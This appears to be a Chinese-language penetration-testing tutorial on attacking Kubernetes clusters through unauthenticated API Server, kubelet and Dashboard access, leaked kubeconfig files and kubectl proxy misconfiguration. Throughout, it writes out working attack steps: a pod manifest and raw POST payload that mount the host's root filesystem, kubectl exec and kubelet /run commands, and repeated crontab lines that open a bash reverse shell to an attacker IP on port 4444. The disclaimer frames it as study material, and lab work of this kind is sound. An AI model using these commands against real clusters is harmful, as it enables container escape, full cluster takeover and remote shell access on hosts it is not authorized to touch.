云安全-K8s集群渗透手法总结
什么是Kubernetes
Kubernetes国内又叫做k8s,是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。
简单来说k8s就是一个可以管理多台主机上的容器的管理平台
K8s结构
这张图片列举出了k8s集群的整个框架和我们渗透时的攻击面
我简单的介绍一下K8s的架构
Master节点
Master节点是Kubernetes集群的控制节点,每个Kubernetes集群里至少有一个Master节点,它负责整个集群的决策(如调度),发现和响应集群的事件。Master节点可以运行在集群中的任意一个节点上,但是最好将Master节点作为一个独立节点,不在该节点上创建容器,因为如果该节点出现问题导致宕机或不可用,整个集群的管理就会失效。大家可以把他理解为管理员角色,我们如果拿下Master的权限就可以接管整个k8s集群。
Node节点
Node 节点是 Kubernetes 集群的工作节点,每个集群中至少需要一台Node节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。Node节点可以运行在物理机上,也可以运行在虚拟机中,大家可以理解为存放容器的主机。
pod
Pod是Kubernetes最重要也是最基本的概念,一个Pod是一组共享网络和存储(可以是一个或多个)的容器。Pod中的容器都是统一进行调度,并且运行在共享上下文中。一个Pod被定义为一个逻辑的host,它包括一个或多个相对耦合的容器,也就是开启的docker容器。
这就是整个k8s的架构,大部分对于k8s的攻击面也是基于这3个点。
K8s判断
可以根据对方主机的端口开放情况进行判断。
8080端口或许不明显可能是其他服务比如tomcat,但是其他的几个端口还是好判断的。
API Server未授权访问
旧版本的k8s的API Server默认会开启两个端口:8080和6443。
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0)
新版本k8s默认已经不开启8080。需要更改相应的配置
修改/etc/kubernetes/manifests目录下的kube-apiserver.yaml文件,加上下面的命令
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
针对8080的未授权访问
访问目标的8080端口,返回以下数据,存在未授权
我这里使用官方的k8s客户端工具,进行演示(使用网上的渗透工具也行)
kubectl.exe -s IP:8080 get nodes
可以看到它返回了k8s上的信息
我们可以查看对方的pod节点,由于我没有创建,它这里只有一个默认的
kubectl.exe -s IP:8080 get pods
我们在本地创建一个yaml文件
apiVersion: v1
kind: Pod
metadata:
name: caigo
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
这个文件,会在对方机子上创建一个pod节点,并且把对方的整个磁盘挂载到新建的caigo容器的mnt目录下
我们通过未授权把caigo.yaml上传到对方机子上
kubectl.exe -s IP:8080 create -f caigo.yaml
上传成功,我们验证一下
接下来敲下面命令,如果有看过我前面发的云原生-docker篇,应该会对exec -it命令感到熟悉,就是进入我刚才创建的caigo容器中。
kubectl.exe -s IP:8080 --namespace=default exec -it caigo bash
进入之后查看mnt目录,就是主机的目录
这时候我们再通过写计划任务,让对方把shell弹回来
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.60.131/4444 0>&1\n" >> /mnt/etc/crontab
本地kail上起个监听
nc -lvvp 4444
过了一会它弹回来了,返回的是node1的shell,这个具体返回那个和对方配置有关。
针对6443的未授权访问
漏洞造成:一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
环境配置
在master上敲下面命令
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
通过https访问6443端口出现下面信息,存在未授权
如下返回则没有未授权
漏洞复现
我们通过发送恶意数据包创建恶意pod。
请求地址
https://192.168.60.131:6443/api/v1/namespaces/default/pods/
POST数据
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
注意这里发包的POST数据采用的json格式,要在数据包中加上json解析Content-Type: application/json
返回201,创建成功,我们查看一下,这里要加上--insecure-skip-tls-verify
跳过认证
kubectl.exe --insecure-skip-tls-verify -s https://192.168.60.131:6443 get pods
它这里说要账号密码,不用管它,随便敲。
接下来就和前面一样,进入容器,写计划任务,由于我们创建挂载的目录是host命令记得改一下
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.60.131/4444 0>&1\n" >> /host/etc/crontab
它这里弹了node2的shell
kubelet未授权访问
环境配置
修改node节点机的配置文件
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow
修改后重启kubelet
systemctl restart kubelet
访问返回数据,存在未授权
漏洞复现
我们需要获取到三个参数的值
namespace
pod
container
我们访问这个目录获取
https://ip:10250/runningpods/
获取到后构造访问url,后面cmd就是要执行的命令,这个看自己
curl -XPOST -k "https://192.168.60.132:10250/run/kube-system/kube-proxy-5l8c8/kube-proxy"
etcd未授权访问
我这里实验环境搭建有些问题,没搭上去
Dashboard未授权访问
dashboard简单来说就是一个管理k8s集群的web界面,管理员为了方便管理就可能会架设它,默认端口:8001,但是这个端口是可以修改的,很少不更改。
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况:
一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。
开启dashboar
kubectl create -f recommended.yaml --validate=false
检测是否开启
kubectl get pod,svc -n kubernetes-dashboard
开启成功后我们访问站点
它这里可以通过token或者config登入,但是可以看到它下面有个跳过按钮,这就是不安全配置导致的,我们可以直接跳过认证,进入后台
进入后台后我们可以创建或上传pod->进入pod执行-利用挂载逃逸,后续步骤就和前面一样了。
apiVersion: v1
kind: Pod
metadata:
name: caigo
spec:
containers:
- image: nginx
name: caigo
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
接下来就是写计划任务,弹shell,这里就不掩饰了。
Config文件泄露
这个config文件是k8s集群配置的,里面会记录k8s的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证),攻击者可能通过Webshell或Github等拿到了,拿到config文件后,攻击者可以操作集群,从而接管所有容器,带来风险隐患。
获取到config后,我们使用下面命令绑定,连接
kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify
可以看到数据,说明连接成功,接下来就和前面一样,创建容器-->挂载磁盘-->写计划任务-->反弹shell
kubectl apply -f caigo.yaml -n default --kubeconfig=config
kubectl exec -it caigo bash -n default --kubeconfig=config
echo -e "* * * * * root bash -i >& /dev/tcp/ip/4444 0>&1\n" >> /mnt/etc/crontab
这里就不演示了
Kubectl Proxy不安全配置
当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上
这个不属于漏洞,是因为管理员配置不当,把本来只能本地访问业务架设到外部可以访问的某个端口,导致的,如果那个业务存在未授权,那不就是给我们攻击的机会了吗
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
这条命令会把api server代理到外部可以访问的8009端口,这个服务如果是只允许本地服务,就算有未授权也不能直接攻击,但是管理员将代理到了外部可访问端口。
实战中如果发现了,就可以进行未授权攻击了
污点移动
Kubernetes 可以把用户提交的容器放到 Kubernetes 管理的集群的某一台节点上去。Kubernetes 的调度器是执行这项能力的组件,它会观察正在被调度的这个容器的大小、规格。跟调度一个有关的容忍度(Toleration)与污点(Taint)。今天要写的是k8s环境当中的一种横向移动手法,对该手法进行实验分析前提条件是node持有有效凭证调度pod
容忍度tolerations是定义在 Pod对象上的键值型属性数据,用于配置其可容忍的节点污点,而且调度器仅能将Pod对象调度至其能够容忍该节点污点的节点之上。
节点亲和性 是Pod的一种属性,它使 Pod 被吸引到一类特定的节点 (这可能出于一种偏好,也可能是硬性要求)。污点(Taint)则相反——它使节点能够排斥一类特定的 Pod。容忍度(Toleration)是应用于 Pod 上的,允许(但并不要求)Pod 调度到带有与之匹配的污点的节点上。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。